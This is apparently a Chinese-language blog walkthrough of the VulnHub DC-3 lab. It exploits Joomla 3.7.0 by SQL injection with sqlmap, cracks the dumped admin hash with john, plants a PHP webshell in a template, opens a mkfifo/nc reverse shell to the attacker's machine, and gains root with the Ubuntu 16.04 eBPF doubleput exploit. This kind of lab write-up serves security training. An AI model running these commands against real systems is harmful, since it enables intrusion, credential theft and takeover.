DC-3-Joomla-Ubuntu提權

NoCirc1e發表於2024-05-04

靶機DC-3下載地址:https://www.vulnhub.com/entry/dc-32,312/
翻譯一下官方給出的一些資訊:
這個靶場與之前的不同,只有一個入口點和一個flag,並且沒有任何線索。
靶場只需要簡單的下載,解壓,開啟並將其匯入到VMware即可(我將其網路配置為NAT模式,保證機器與Kali在同一個網段下)

一、資訊收集

1.主機發現

arp-scan -l

image.png

2.埠掃描

nmap -A -p- 192.168.75.156

image.png
發現目標主機只是開啟了80埠,用的是Joomla
同時主頁也給我們提示,表明這個靶機只有一個flag
image.png
image.png
image.png

3.指令碼掃描

nmap --script=vuln 192.168.75.156

掃描得出CMS版本3.7.0
存在資料庫注入漏洞以及漏洞編號
image.png
image.png

4.cms掃描

cms為joomla,對應掃描器為joomscan

joomscan -u 192.168.75.156

掃描出登入介面
image.png

二、漏洞探測

searchsploit joomla 3.7.0

image.png
搜尋到joomla 3.7.0的資料庫注入漏洞,編號42033

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

找到注入方法
image.png

三、漏洞利用

1.資料庫注入攻擊

sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

注入查詢當前靶機正在使用的資料庫為:joomladb
image.png

sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

注入查詢joomladb資料庫有哪些表,篩選出使用者表:#__users
image.png
注入查詢#__users表有哪些列,共6列

sqlmap -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]

image.png
image.png
注入查詢#__users表的name、password欄位,輸出資訊

sqlmap  -u "http://192.168.75.156/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump  -p list[fullordering]

image.png
獲得網站後臺登入使用者名稱admin和密碼hash值

admin  #使用者名稱
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu  #密碼hash值

2.密碼雜湊值解密john

vim 1.txt
建立一個用於放雜湊密碼的文件1.txt

john 1.txt
john解密

john 1.txt --show
得出密文:snoopy

image.png

3.反彈Shell

賬號密碼登入之前掃描的login網址
http://192.168.75.156/administrator/
image.png
發現可以編輯模板裡面的php檔案,且這些模板可以從外部訪問
image.png
這裡編輯Beez3模板
這裡我在html目錄下建立了一個名為wi11.php的webshell
image.png
接下來用蟻劍連線
http://192.168.75.156/templates/beez3/html/wi11.php
image.png
我們在Kali上使用nc,透過蟻劍反彈一個shell
我們先在Kali上開啟監聽

Kali:nc -lvnp 2333
蟻劍:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.150 2333 >/tmp/f

互動式shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'

image.png
image.png

4.Ubuntu提權

提權(這裡有兩個思路:使用輔助指令碼、根據linux版本)
首先需要明確,不能使用蟻劍提權,因為HTTP是瞬時協議,我這邊正提權呢,你那邊TCP四次揮手斷開連線了,不能持久連線,所以蟻劍的作用就在於反彈shell、上傳檔案。

uname -a
lsb_release -a

檢視系統資訊,發現Ubuntu版本16.04
image.png
使用searchsploit工具查詢Ubuntu 16.04的提權漏洞,發現一個"拒絕服務漏洞",可以用來提權

searchsploit ubuntu 16.04

image.png
檢視漏洞介紹

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image.png
下載exp

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

image.png
透過蟻劍上傳到靶機
image.png
然後接下來的話就是解壓、編譯、執行EXP來獲得root許可權,所有命令如下

unzip 39772.zip
cd 39772
tar -xvf exploit.tar

image.png
image.png

cd ebpf_mapfd_doubleput_exploit
./compile.sh   #執行指令碼,編譯檔案
./doubleput  #執行提權檔案

image.png
image.png
image.png

相關文章